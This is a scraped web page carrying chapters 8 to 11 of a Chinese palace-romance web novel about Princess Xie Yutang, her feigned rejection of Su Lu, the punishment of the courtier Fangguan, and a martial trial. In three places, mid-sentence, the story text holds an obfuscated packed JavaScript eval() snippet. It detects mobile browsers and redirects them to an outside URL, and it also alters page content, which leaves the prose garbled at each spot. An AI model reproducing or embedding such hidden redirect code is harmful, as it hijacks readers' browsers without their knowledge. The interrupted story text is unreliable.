苏戮听着,嘴角终于勾出了点满意的笑,将下巴从她手里取出来,取了一条新的帕子在热水盆里拧干给谢郁棠擦脸,声音听着还像是带了些期待:“这可真是您亲口说过的话了,可不要不认账。” 他又扶着谢郁棠在梳妆台前坐下,取了一点桂花油捂在掌心化开,轻柔地抹在发尾,这才拿了梳子从发根开始往下梳。 谢郁棠在铜镜里看着他棱角分明的下颌线,想到在公主府时,自己曾在他房间里见过绾成各式发髻的假发。 苏戮说既要扮做她的男宠,那伺候洗漱、绾发梳髻这些自然是要会的,便从马厩中寻了马尾,又向怀瑾讨教了技法,闲来便会反复练习。 他的骨指修长分明,有条不紊地将发丝分缕,待谢郁棠回过神来,他已绾好了一个花髻,只等着在髻旁插上玉簪,髻前缀上串珠步摇,便算完成了。 谢郁棠天性偏爱浓郁繁复的风格,衣服喜欢降红滚金丝的,发髻也偏好这种张扬明艳的,只是前世为了蔺檀的喜好,倒从没这样打扮过几回。 她垂了眼,刚想让苏戮拿那只白玉嵌珠翠金簪,只见镜中那人指尖一挑,竟是将刚绾好的发髻打散了。 如瀑发丝在指尖徒劳滑落,苏戮看着空荡荡的手心,默然片刻,轻声道:“可惜,现在还不是时候……主人能等我回来,再给我一次这样的机会么?” 芳倌正在门外同怀瑾扯皮,自他到了公主的行馆以来,每日都是他为谢郁棠伺候洗漱梳头绾发的,可今早却被怀瑾挡在了门外,说是已经有人进去伺候了。 芳倌疑心有人同他争宠,回了别院将其他几人一一点过,却并未发现少人,这才渐渐回过味来。 那慕清王府的小世子他也听过,一个武将的儿子,粗人罢了,能有多好看?如今见公主专宠自己,竟然不惜使出这种争宠的手段。 芳倌心里又气又恨,却又被怀瑾拦着入内不得,正急的团团转,突然听到内殿一声茶盏摔地的脆响,在外间伺候的众人都吓了一跳。 只见苏戮跪在屏风后,身前一地茶水和碎瓷片,白皙的脸上印着通红的巴掌印。 “绾发都绾不好的奴才,留着有什么用?” 芳倌一看便明白了七七八八,见对方争宠不成不由心下窃喜,忙讨好着上前拾起妆台上的木梳,为谢郁棠梳发,眼神轻蔑地瞥了一眼地上的苏戮,这一瞥不打紧,却被他的脸惊呆了。 眉眼和鼻峰深邃高挺,比寻常的汉人男子更多了几分攻击性,但一双桃花眼却又柔和多情,盯得久了便会使人陷进去。 他从来以姿容侍人,还从未落过下风,可如今却在一个挨了掌掴形容狼狈的男人面前有了种深深的危机感。 芳倌心里警铃大作,顿时打叠了一肚子编排的话,他自小在勾栏里长大,嚼人舌根搬弄是非的本事几乎是天生的,这要真给了他发挥的余地,定能激得谢郁棠将那姓苏的贱人彻底逐出府外。 芳倌嗤笑一声,正要开口,只见谢郁棠摆了摆手,不耐烦地让跪在地上的苏戮滚了。 …… 芳倌一口气卡在喉咙口,上不去也下不来,面上虽然还扯着甜腻的笑,暗自里却顺了好一会才缓过气。 昨日飘了一天的细雪,巍咸西便差人递了帖子,说是在后山设了小宴,约众人今日煮酒踏雪赏梅。 众人见到苏戮脸上通红的巴掌印,纷纷倒吸一口凉气,暗暗交换着眼色,再看那宁安公主同芳倌折梅逗笑,好不欢乐,心中都纷纷为苏小世子哀叹起来。 谢郁棠得了新欢便也罢了,还偏要将旧人盖了巴掌印带出来,这分明是公开的羞辱。 巍咸西更是心都揪成了乱麻,对苏戮想脱离谢郁棠投奔自己的说辞确信不疑,心中甚至已经开始想着该怎么把人好好疼爱了。 苏戮跪坐在谢郁棠身侧,将酒壶放在火炉上,手里拿着一把芭蕉扇,仔细地调着火候。 周围的目光或多或少地停在他被扇了巴掌的左颊上,他丝毫没有避闪的意思,大大方方任人去看。 没人会信,其实这巴掌是他主动求来的。 谢郁棠原本只是想摔了茶盏,当众将他呵斥一顿,但他说做戏要做足,没有什么比脸上的巴掌印更有视觉冲击力了。 想起主人因为下不去手而再三做自己思想工作的样子,苏戮忍不住勾起一点浅淡的笑,在没有人看到的角度轻轻抬手抚上脸颊的红印。 真好,就一直这样吧。 让所有人都看到,主人留下的印记。 从而知晓,自己属于谁。 苏戮将煮好的酒放在矮几的立架上,那芳倌贴得谢郁棠极尽,刚刚亲手喂了她一颗剥好的葡萄,见酒煮好,迫不及待想为她斟上。 谁知那酒壶太沉,芳倌平日里只懂投壶操琴的手从没提过重物,单手提壶根本掌握不好平衡,手腕一滑便洒了酒液出来,滚烫的热酒浇到扶着酒碗的手上,烫的芳倌一声惨叫。 谢郁棠当即便冷了脸色,让苏戮当众跪下给芳倌道歉。 “殿下息怒,我知道苏世子是不小心,一定不是故意把酒装得太满的,下次我一定会小心。” 芳倌柔柔糯糯地开口,手上烫伤的地方在谢郁棠眼前直晃,只见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“殿下。”巍咸西笑道,“您金枝玉叶万金之躯,苏世子虽然气度不俗,但到底也是个手笨的习武男人,您让他为您绾发,就如同让宰牛的屠夫去雕花,这不是折煞了您嘛。” 此言一出,殿内哄堂大笑,气氛重又活络起来,谢郁棠也笑:“巍大人,您对这小世子可是护得紧呐。” 巍咸西大大方方一拜:“殿下,不瞒您说,巡防营前些日子刚经过一轮考校,刷下去了不少人,现在依旧不足人手。苏小世子出身慕清王府,想必于御马提刀之事并不陌生,且世子几日前以一己之力制服刺客,身手不俗,与下官又有救命之恩,不知殿下是否舍得借苏世子到下官那里历练几日,来日也更好为殿下效力?” 这番话是他早就打叠过数遍的,于情于理都挑不出错处,就算宁安公主不愿,也寻不出什么由头怪罪。 众人纷纷笑侃巍统领趁机挖人墙角,巍咸西春风和煦地笑着,藏在宽大袖袍下的手却不由攥紧—— 此事他越不在意,越说得像玩笑,成功的可能性反而越大。 “我说巍大人为何送了好些美人到我的居所,原来是早就瞄好了本宫手里的人。” 谢郁棠把玩着杯中酒,轻笑一声,“不过魏大人说的也对,苏世子出身边将世家,留在本宫身边整日绾发铺床的难免委屈,不如到您帐下,也算是为咱们大兖贡献了一份力。” 谢郁棠看向跪在案侧的苏戮:“不知苏世子意下如何?” 这问的还不如不问。 明眼人都看得出来,宁安公主不过是把他当做一个可以随手送人的玩意儿罢了。 果然,只见苏戮垂着的睫毛颤了一下,平静无波的声音如同死水:“但凭殿下吩咐。” 谢郁棠将酒碗放下,笑着起身:“既然巍大人肯收,那这人便留给您了。” 说罢竟抬步向亭外迈去,芳倌笑着冷睨了一眼亭中跪着的清瘦身影,殷勤地为谢郁棠提着裙摆,随她一同离开。 那降红滚金丝的红袍在雪地中荡开,渐渐消失在覆着薄雪的梅枝中,不曾回头看上一眼。 9. 第 9 章 谢郁棠厌弃了苏小世子的消息传得飞快,几乎是第二天便传到了三皇子蔺檀那里。 蔺檀近日颇受谢郁棠冷落,心里早就憋了好大一通怨起,但又拉不下脸主动去找谢郁棠求和,只能眼睁睁看着谢郁棠为那小杂种置办新衣,擢拔他为贴身护卫,就连赴宴也要带在身边。 他早就气得牙根痒痒,现在听闻那小杂种失了宠,跟个玩腻了的物件一样被随便赠与他人,心里别提有多畅快。 虽然谢郁棠又收了个芳什么倌的,但蔺檀多少是放下了心——那女人不过就是一时新鲜罢了,最后能真正收服她的,还得是自己。 既然苏戮失了势,不去踩上几脚实在难以泄他心头之恨,蔺檀当下便准备叫上人,去把那个小杂种痛打一顿,却被在一旁伺候的小福子劝了下来。 “那小杂种是什么身份?一个就会出卖色相的下贱玩意儿罢了,殿下您亲自动手不是脏了自己的手?” 小福子自从跑马地那日被吓出一身骚尿,便从此记恨上了苏戮,此时得知这个机会,也同样摩拳擦掌,准备大干一番。 “再说了,寻个僻静处把人揍上一顿,就算揍得再狠,他这狼狈的摸样没有给人看到,岂不是还护了他的面子?” 蔺檀手里的扇子一顿,抬眼咩他:“你有更好的办法?” 小福子就等着这一问,嘿嘿一笑,抬手附在蔺檀耳边。 …… 芳倌原以为跟随谢郁棠去了公主府,跟金枝玉叶的公主日日寻欢,夜夜笙歌,甚至进一步缠绵床榻都是水到渠成的事,谁知一连几日下来,他的确每日都在院内唱曲抚琴,却连公主的面都没见上几次。 芳倌细细想来,发现谢郁棠待他还不如在郊外行宫中那几日亲近。 他抿了抿唇,再次确认了一遍四下无人,悄悄从衣袖中滑出半包药粉,倒进了面前的茶碗中。 这药粉是他花了大价钱托人寻来的,只要谢郁棠喝了,那今晚……以他的功夫,定会让她好好欢喜一场。 他将茶壶一路提进书房。 “殿下,这是用几日前梅枝上扫的雪水煮的枫露茶,最是清润回甘。”芳倌将载着茶具的托盘放到桌上,柔声道,“您都看了两个时辰的书了,喝盏茶醒醒神?” 谢郁棠正在看《策论集》,闻言从书中抬头,见芳倌将茶碗倒满,然后推了过来。 她的视线顺着芳倌的手指一路滑到他脸上。 芳倌被盯得好不自在,正要开口说点什么,只见谢郁棠抬手端过茶碗,送到了嘴边。 芳倌刚松了口气,却见那茶碗在谢郁棠面前停了片刻,又被递回自己面前。 “难为你大老远跑来,这盏茶便赐你了吧。” 芳倌面色一僵,笑道:“殿下,这好茶给我喝了……不是浪费么?” “是么?” 谢郁棠似笑非笑地看着他,把玩着手中茶碗,“你这么紧张,莫非……茶里有东西?” 芳倌吓得一抖,端详谢郁棠神色,又瞧不出个所以然,这下药争宠的事,若被发现,轻则遭罚,重则被逐出府去,无论哪种后果都不是他承受得起的。 芳倌强自稳定心神,挤出一个笑来:“殿下,您这是说什么话,这就是寻常……” “握瑜。” 谢郁棠不待他说完,沉声喊了一句,握瑜立马上前,对着芳倌腿窝一踹,芳倌扑通一声跪倒在地。 “你——” 芳倌吃痛大喊,话来不及说完,右手手腕被握瑜箍着,衣袖翻过来一摸,便将那未下完的半包药粉搜了出来,双手呈给谢郁棠。 “你说是你主动告诉我,还是我请太医院的刘太医来辨一辨?” 芳倌跪在地上,脸色煞白。 若是惊动御医,那这事可就瞒不住了,芳倌颤巍巍的一五一十全都交代了,泪眼盈盈地望住谢郁棠,“殿下明鉴,我绝对没有伤害殿下的心思!只是、只是殿下从来不曾与我亲近,漫漫长夜我独守空房实在是孤寂难耐,一时迷了心窍,才会、会……” “原来是嫌本宫怠慢了你。” 谢郁棠恍然大悟地哦了一声,手指敲了敲书页,“那你今晚便来内殿伺候吧。” 芳倌大喜,当晚便洗梳沐浴更衣,早早来到谢郁棠的寝店,满怀期待地等了小半个时辰,才见到怀瑾领了两个下人过来。 那下人手上端了一个木盆,待靠近了,芳倌才看清,是一盆豆子和一个空盆,有豆子的那盆里红绿交杂,他不明所以,看向怀瑾:“这是?” 怀瑾笑得客气:“小姐说了,既然你嫌漫漫长夜独守空房孤寂难耐,这便给你找点事做。” 她朝那空盆一指:“劳烦将这两种颜色的豆子分开,绿豆放左边的盆,红豆放右边的盆,什么时候装完什么时候回去睡觉。” 芳倌简直不敢相信自己的耳朵:“这么多豆子,岂不是要挑上整整一夜?” 对上怀瑾“既然知道还不快干”的表情,芳倌只觉五雷轰顶,原来惩罚是在这儿等着呢。 芳倌瘫倒在地上,几番欲言又止,终究还是认命地捡起豆子,怀瑾留下两盏烛灯,临走前又终于想起来了什么,回头道:“对了。” 芳倌惊喜地抬头,眸中透出期待。 “小姐还说,让你挑豆子的时候控着声,莫吵了她睡觉。” …… 芳倌直到天色渐明才将将挑完两盆豆子,第二日晚上照例前去内殿候着,原以为终于能见到谢郁棠,谁知怀瑾将那两盆挑好的豆子倒在一起,搅合搅合,又笑吟吟地递给了他。 …… 芳倌一连挑了几夜的豆子,已经是头昏眼花脚步虚浮见了豆子就想吐,全没了刚来时的那股子嚣张气焰。 别说去谢郁棠面前献殷勤了,是见到内殿大门都恨不得绕路走的程度。 怀瑾将此事报给谢郁棠,很认真的附上提议:“小姐,芳倌这豆子挑的是越发熟练了,我看也是个心灵手巧知情识趣的。” 谢郁棠面前铺着宣纸,正握着狼毫小笔写学堂夫子布置的政论。 这政论颇费神思,她每写数行便要停笔凝神细思,左手手心有一搭没一搭地把玩着玉佩坠子,听到怀瑾这般调侃,她只管盘弄玉佩,丝毫没有搭腔的意思。 那玉佩晶莹剔透,无一丝杂质,正是那日在椒房苏戮从自己腰间解下放进她掌心的那枚。 屏外纱帘被人挑开,握瑜拿着一封密信进来,接了这话:“既如此,不如让那芳倌进来伺候看看?” “那可不行。”怀瑾睇了眼手中研墨的墨条:“就这东西,上次芳倌进来想碰,被小姐一个眼神吓得差点没跪地上。” “这么宝贝的么。”怀瑾“呀”了一声,疑惑道,“可之前苏世子不是日日用它磨墨么?” 握瑜叹了口气:“曾经沧海难为水,咱们小姐佳人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565512|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在侧红袖添香惯了,以前还能勉强让咱们服侍,现在……” 怀瑾点头叹道:“咱们自知论心细周到皆比不上人家,也不知苏世子什么时候才能回来。” 狼毫笔尖在宣纸上停了下,谢郁棠抬眸,乜嘢了这对一唱一和的姐妹一眼,似笑非笑:“你们这么想他?” 怀瑾道:“是是是,都是我们想他。” 握瑜道:“是我们狠狠责罚那个讨厌的芳倌,谁让他公然诋毁苏世子。” 怀瑾接道:“是我们对苏世子的玉佩爱不释手,连写政论都要盘弄把玩。” 握瑜又道:“是我们故意让他每晚来内殿挑豆子,就为了让别人以为他得宠得很,这样苏世子才不会被人起疑。” 啪—— 狼毫笔搁在架子上,谢郁棠面无表情:“都出去。” “好的小姐。” 怀瑾握瑜转身就往外走,“只可惜,言副官千辛万苦打听来苏世子的情报,都没来得及递……” “等等。” 谢郁棠闭了下眼,吸口气,伸手。 言副官便是言隼,借着孙记裁缝铺的掩护,将耳目铺到了整个都城。谢郁棠自行宫回来,便特意去了密信嘱咐言隼留意巡防营的状况。 言隼打听到,巡防营将于几日后举办武试。 谢郁棠觉得这武试定得蹊跷,像是突然所为,往常并无先例,待读到“三皇子蔺檀亦将亲至”时便瞬间了然—— 他是冲着苏戮去的。 谢郁棠在跑马地下了蔺檀的面子,且对他日渐冷落,这些帐,想必大部分被算在了苏戮头上,蔺檀的宽厚善仁一向只是假象,只怕整个武试都是他为了报一己私仇而设的。 谢郁棠指尖摩挲着玉佩边缘,这个武试,她不得不去。 “可是小姐,你已经——将苏世子厌弃了。”握瑜倒是先替她纠结起来,“这么一去,等于在所有人面前公然维护世子,那这戏不就白做了?” “谁说我要去维护他了。” 谢郁棠眼神在“蔺檀”两个字上停留片刻,勾了下唇,“本宫不是还有个为之痴狂的对象吗?” 头一次觉得自己前世的恋爱脑还有点儿用。 狼毫笔尖轻巧地在案侧的万年历上画下一个圈:“武试之后便是灯会节,本宫一向对三殿下思之若狂,宝贝得紧,如此佳节美景,辜负了岂不可惜?” 灯会节是大兖民间自发形成的节日,一直在民间颇具人气,彼此有意的年轻男女多会选在该日相约出行,一同赏灯玩灯。 她约蔺檀在次日出游,他不会不答应。 谢郁棠让握瑜取来烫金请帖,在纸上写了一段,盖了私印,用火漆封了交给怀瑾。 怀瑾双手去接,抽了抽,却没抽动。 信封牢牢压在谢郁棠指尖。 “小姐?” 抬眼望去,只见谢郁棠黛眉微蹙,似有什么苦恼。 丹蔻红的指尖在红木案上轻点:“你说这信……到时候能要回来的吧?” 如此肉麻之语,她看了都想吐。 怀瑾疑心自己听错:“啊?” 谢郁棠吸了口气,摆摆手:“算了,拿下去吧。” 怀瑾恭声应是,捧了公主手信,正要退下,又被叫住。 谢郁棠敛了敛衣衫,端坐于高背雕花椅上。 “告诉三殿下,本宫那日——见定他了。” 10. 第 10 章 “小姐,这三皇子真是不是抬举!” “说什么公务繁忙,无暇顾及私情,呵。” 握瑜给谢郁棠斟酒,说到怀瑾昨日送信被拒一事,仍然心有忿忿。 她平日里看着三皇子对自家小姐的态度,心中早就不满已久,只是以往小姐对三皇子上心的很,容不得旁人多说一句。 只是不知为何谢郁棠突然转变了态度,再加上有了苏戮那样的对比,握瑜才如此明目张胆地在自家小姐面前嚼人舌根。 谢郁棠却似早有预料一般,转着手中的酒杯。 今日她叫握瑜将库房里的酒都搬了出来,一杯一杯品过。 杯中酒液橙明,她捻着饮啜一口,眯着眼:“还是这酒泉酿最好。” 握瑜却没半分捧场的兴致:“小姐,这都什么时候了,你还有心思喝酒?” 谢郁棠轻笑一声,将杯中余酒饮尽,见握瑜等急了才慢悠悠开口:“其实本宫料到了他会拒绝,也等着他拒绝。” “他蔺檀要真答应了,本宫反倒不好收场。” 握瑜一愣,不明所以地看着谢郁棠。 “你不会真以为他若答应本宫去灯会节,便会翘掉白日的武试吧?” “难道不是吗?殿下出行并非小事,随从繁复要早做准备,难不成他……” “他还当真会参加完武试再跟我去晚上的灯会节。” 谢郁棠垂眸看着杯中酒液。 “武试什么时候结束,他便会让我等到什么时候,大不了说点儿甜言蜜语,反正我又不能拿他怎么办。” “就是这么贱。” “……小姐。” 握瑜没了言语,瞠目结舌地看着她。 “他这人最好面子,本宫之前冷落他,现在好不容易有机会扳回一局,他当然得好好把握。” 谢郁棠将酒杯搁到桌上,勾起唇角。 “那本宫就如他所愿,当着众人的面追着他跑。” 灯会节那日过了午时,宁安公主的马车公然开进了武试校场,巡防营的守卫倒是拦了一栏,怀瑾挑帘,在马车上同下方守卫略一点头,柔柔开口:“公主今日为三殿下而来,只为共赴今晚花灯盛会,还望通融一下,莫要耽搁了公主和三殿下的情谊。” 这话听起来客气柔和,实则句句机锋——这天子脚下谁人不知,宁安公主对三皇子爱慕的紧,阻挠小情侣会面这个大锅扣下来,没人敢接。 果然,那侍卫略一犹豫,还是躬身行礼,客客气气把谢郁棠的马车请了进来。 握瑜扶着谢郁棠下马车。 小姐今日着的是四喜如意云纹锦锻,梳的是长乐髻,簪的是银藕莲花步摇,本是极浓的装扮,若是换了寻常女子定会妆压了人,流于艳俗。 但到了谢郁棠这里,反倒将她骨子里的劲儿勾了出来,明艳且不失大气,媚意天成又矜贵无双。 巡防营的士兵都是真刀真枪拼出来的糙汉,哪见过这样的盛世美颜? 在谢郁棠从马车帘帐中抬眸的一刻,纷纷倒吸了口气,被这直抵人心的美震住了。 全场鸦雀无声。 蔺檀坐于上首,见谢郁棠又穿了他最讨厌的红,眼底情绪纷繁复杂,似不喜,又有不甘的惊艳,和势在必得的贪欲,以及——虚荣心被狠狠满足的得意。 ——全大兖最飞扬跋扈,荣宠无二的宁安公主,对自己五迷三道,都追到这里来了。 正扶着自家小姐往上首走的握瑜被这份得意恶心到了。 想到昨日小姐谈起这狗男人,语气间尽是平静的分析算计,丝毫没有自哀自怜的情绪波动,握瑜的心情才好受一些,底气也足了,眼风刀子似得瞪了蔺檀一眼。 蔺檀手中的折扇一顿,不在意地笑了笑。 他家棠棠果然是使小家子气,连身边的婢女都来给他眉眼高低了。 谢郁棠这是不请自来,众人虽无人说话,但都暗自观察着蔺檀的脸色。 巍咸西一马当先揣摩完上意,笑容满面地同谢郁棠见了礼,吩咐手下加座,新添的座椅就在蔺檀旁边。 参加比试的武者早以在场地等候多时,谢郁棠一眼便看到了苏戮。 那人实在太过出众。 即使穿着巡访营同一的玄色暗纹窄袖,什么都不做,只静静立在那里,便出众到让人无法忽视。 无论是颜值身形还是仪态气质,都干净美好到让人自惭形秽。 谢郁棠的目光短暂停留片刻,便不着痕迹地移开。 握瑜上前一步,冲台下行了一礼,朗声道: “小姐听闻今日乃巡防营比武盛会,特赠佳饮——酒泉酿二百坛,聊以助兴!” 话音刚落,场内又是一阵呼声。 传闻骠骑将军霍去病率一万骠骑出陇西,转战河西五国,歼敌三万余人,大胜。汉武帝赐酒一坛,赏霍去病,但霍去病觉得此非自己一人之功,于是便将酒倒进酒泉中,与众将士共饮。 大兖先帝有感于此佳话,特将酒泉水酿的酒赐名酒泉酿。 先帝御笔亲提的酒,珍贵异常,寻常官员也要到节日进宫宴饮时才能喝到,如今宁安公主大手一挥,便是二百坛。 足见荣宠之盛。 谢郁棠起身,将杯中酒倾倒于地:“饮酒泉,拔戈刀,祝君大展身手,拔得头筹!” 声音不大,却因内力加持,清亮地响彻整个巡防营校场。 士兵们呼吸一窒,掌声和着欢呼经久不衰。 谢郁棠广绣一甩,坦然入座,抬眼去看身侧的蔺檀:“三殿下,这比武盛会既有幸邀请到您,不如殿下也拿出一件宝贝,给拔得头筹者添个彩头,可好?” 蔺檀太久没见到谢郁棠,她这一眼顾盼生姿,看得蔺檀心底暗惊,喉结滑了滑。 纵使知道对方在这种场合公开叫他赐赏,是料准了他无法拒绝,可依旧心甘情愿地笑了笑:“既如此,把本王前些日子新得的金貔貅摆件拿来吧。” 这貔貅乃纯金打造,价格不菲,给武试获胜者做赏赐倒也合情合理。 身旁的小福子未及应是,只听谢郁棠道:“想来堂堂武试第一,又得了三殿下的赏赐,自然是件值得夸耀的风光事,可三殿下赏个摆件,让人只能搁在家中孤芳自赏,怕是犹如锦衣夜行,实在可惜啊,诸位说,是不是?” 她本就姿容出众,风华慑人,短短一个照面就在众武将中赢得好感,如今这番话又说得在情在理,话音一落,众人无不抚掌称是。 蔺檀折扇敲着手心:“既如此,那公主殿下有何提议?” 谢郁棠等的就是这一句,也不拐弯抹角:“听闻三殿下的藏宝阁收尽天下明珍,这其中便有名剑悬翦。太子殿下向来善仁宽和,于舞刀弄枪一事并无太大兴趣——正所谓名剑配英雄,不如三殿下便将悬翦设为此次武试的头筹之奖,如何?” 底下又是一片压低的惊呼。 习武之人无人不知悬翦,此剑相传乃越王勾践的八把长剑之一,削金断玉,是百兵谱中有名的名剑。 原来在这里等着他。 蔺檀心下了然,她果然还没放下苏戮那个小白脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574711|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人目光交锋片刻,蔺檀忽地一笑,扇子一展冲台下众人攻了攻手。“既然宁安公主如此说了,本王又怎好抚了公主雅兴?” “来人,去将悬翦取来。” 众将士无不鼓掌喝彩,人人摩拳擦掌,都被激起了斗志。 “确定都安排妥当了?” 蔺檀趁着众人欢呼之际,借着落座的姿势低声问身边的小福子。 小福子当然知道蔺檀所问何事,躬身垂首道: “回殿下,一切妥当,万无一失。” 蔺檀点点头。 谢郁棠猜得没错,这武试本就是冲着苏戮来的。 这小杂种平日里不声不响的,没想到一朝攀上了谢郁棠,功夫还如此厉害。 他便要借着这个机会,在众人面前狠狠羞辱那小杂种一番,让谢郁棠看看清楚,到底谁才是她该选的人。 至于这悬翦……给就给了,反正那姓苏的小杂种是决计拿不到的。 两侧大鼓鸣了三声,武试正式开始。 先上场的是一个彪形大汉,几下就把对手干飞了。 武试的规则胜者可以任意挑选对手,大汉扫视台下一圈,伸手一指苏戮:“就你了。” 底下嘘声一片。 “老李,你丢不丢人啊!” “就是,选个小白脸。” “吃相也太难看了吧。” “想赢就直说啊。” 老李抹了把鼻子:“少废话,赶紧上来。” 真以为他愿意啊,还不是上面交代了,这小子看着细皮嫩肉的,跟刚从小倌馆里出来的雏儿一样。 被迫只能选这么个对手,他老李也嫌丢人:“劝你赶紧认输,也省的别人说老子专挑弱的下手。” 旁边人跟着附和:“对啊,认输吧。” “一巴掌给人打趴,那才叫丢人。” “你说他会不会哭啊?” “老李,别打脸,给人留点面儿。” 苏戮置若罔闻,长而浓的睫毛眨了一下,规规矩矩地从楼梯走上比试台。 这练武之人多少有点好胜之心,就连上台也花里胡哨的,各种招式脚法,怎么现眼怎么来,如今见了这么一个正儿八经走楼梯的,俱是一愣,接着都笑起来。 “乖乖崽,给你最后一次机会,现在认输,爷不伤你。” 那个被叫做老李的大汉仁慈地拧了拧护腕。 这个苏戮是新来的,他们不是没听说过这人来头,慕清王府的世子,母亲是胡人舞姬,自己凭着一张脸被宁安公主谢郁棠看上,侍奉地那叫一个殷勤——给人跪着端茶倒水,铺床打扇,被逐出来的时候脸上还盖着公主的巴掌印。 这姓苏的小白脸估计也是知道自己失宠,来了这巡防营倒也安生,安安静静地只管做自己的事。 巡防营跟皇宫里那些满是富家公子哥的御前侍卫可不一样,不看家世不看身份不攀交情,唯一的衡量标准是实力。 能打,就是大哥。 不能打,趁早一边儿凉快去。 男人天生就对以色侍人的同性最瞧不起,早就想给那小白脸一点颜色看看,自然不会放过今日的机会。 苏戮静静立在比武台中,明明是巡防营最普通的玄色窄袖,却被他穿出长身玉立的气质,腰带勾出一截窄腰,衬得脖颈宛如覆了层薄雪的细瓷。 “老李,对美人怜香惜玉点。” 不知谁喊了一声,底下哄笑一片。 苏戮仿若听不见众人的嘲笑,抱拳淡淡道:“开始吧。” 11. 第 11 章 这么多人看着,老李也顾及着脸面不想先出手,以免落了个恃强凌弱的口实,便笑着对苏戮抬抬下巴,语气中的轻蔑毫不掩饰:“来吧,使点劲,爷可不是那些不懂得怜香惜玉的客人。” 哪里的“客人”不言而喻。 底下哄笑一片,还有人吹了声口哨。 “得罪。” 苏戮长睫掀起,猝然出拳,所有人只觉眼前一花,待回过神来,那老李已经倒在了比武台外的地上,双手捂着肚子,满地打滚。 众人无不面面相觑。 虽是早已预料到的结果,但故事的主角却掉了个个——原本应该痛哭流涕一拳被打飞的人此时好好地站在台上,而本以为胜券在握的那个却被一拳干翻。 甚至没人看清他是怎么被干翻的。 苏戮淡淡点头:“承让。” 蔺檀的折扇顿了顿,扬着笑意的唇在扇面后挤出两个字:“蠢货。” 小福子连忙躬身奉茶,连声安慰:“殿下莫急,等下必定叫那小白脸吃不了兜着走。” 主持武试的巍咸西咳嗽一声,只得朗声道:“恭喜苏世子,请点牌子吧。” 所谓点牌子,是指胜出者可以任意挑选对手,方才老李便是点了苏戮的牌子。 虽然苏戮一招制胜,但众人依旧对他的实力存疑,心中多多少少都觉得是老李太过轻敌所致,此时见轮到苏戮去点牌子,各个都屏息以待,看他会挑谁。 指骨分明的手指在一列列牌子上隔空滑过,众人的心也都跟着起起落落,可那只手没在任何一张牌子上停留,反倒两指压住自己的名牌,手腕一翻,竟是将那张木牌横扣了下来。 众人面面相觑,都在对方眼底看到深深的震撼和不可置信。 多年未曾在武试会场上见过了。 名牌横扣。 等于是向台下所有想挑战的说—— 一起上。 来一个我打一个,来一双我战一双,来一群,我单挑一群。 况且此次武试不允许携带任何武器,赤手空拳打群架,比有兵器难上许多。 还敢这样做的人,要么自傲到认不清自己几斤几两,要么是拥有恐怖的、足以碾压对手的绝对实力。 看台上谢郁棠握着茶杯的手微微一顿。 回忆突然山呼海啸般袭来。 小慕清王大败北戎,凯旋而来,当时已被谢郁棠捧上帝位的蔺檀龙颜大悦,在青山猎场设宴三日,皇后谢郁棠亦是欣喜,将自己珍藏的一对青花釉里红如意瓶拿出,作为武试得胜者的彩头。 这本是给当朝习武的年轻人一个激励,却不曾想,一向低调的小慕清王那日竟主动请战,于万众瞩目中,骨指分明的手指将写有“苏戮”二字的名牌横扣,引得众人抚掌惊呼。 “小姐,苏世子这样,万一有埋伏怎么办?” 握瑜的担心不无道理。 若真有埋伏,混在人堆里暗戳戳下脏手可比台上一对一来得容易多了。 谢郁棠垂眸沉思,正要开口,只听巍咸西已抚掌大笑道—— “好!苏世子好魄力!” 说罢便将目光转向众人,“想挑战的诸位,一起上吧。” 话音刚落,便有两个赤膊男子飞身上台。 这两男子一高一矮,一胖一瘦,但面貌竟有几分相似。 “是赵龙赵虎兄弟,合称狮虎双煞。” 一旁的蔺檀忽然开口,谢郁棠抬眸看去。 “这两兄弟,一人善远攻,一人善近战,一人身手灵活,一人力大无比,他们俩单拎出来,不过是个普通高手,但若合体——” 蔺檀从白瓷骨盘中捏起一只梅花烙,递到谢郁棠眼前,“所向披靡,无人能敌。” 谢郁棠沉吟片刻,抬手接过那只梅花烙:“三殿下倒是对这巡防营的人很是了解。” 蔺檀微微一笑:“本王既是武试主考,自然是要做些功课的。” 说话间,台上已然风起云涌。 赵龙赵虎两兄弟果然配合默契,一人的短处,被另一人完美的互补,攻守回防几乎没有任何疏漏之处。 苏戮侧身躲过赵龙的一记掌风,故意漏了一个空门,赵虎一喜,连忙攻去。却不料对方早有准备,只见苏戮腰身弯折出一个不可思议的角度,避过赵虎的攻击。 赵虎意识到不对,想要收掌,可手腕已被对方抓住,借着自己未卸的冲劲就把他翻举起来。 赵龙见状想要施以援手,却被苏戮抓住空挡,一个勾脚至其下盘不稳,同时苏戮一掌一拳,招呼向二人胸口。 那赵虎赵龙二人也算内力雄厚,却被这迎面而来的拳掌冲得毫无招架之力,再反应过来已经双双跌出场地。 台下落针可闻。 方才对着苏戮信口调戏,喊什么小倌美人儿的,现在脸色红的红白的白,不着痕迹得把自己藏裹在人群中,生怕被记上。 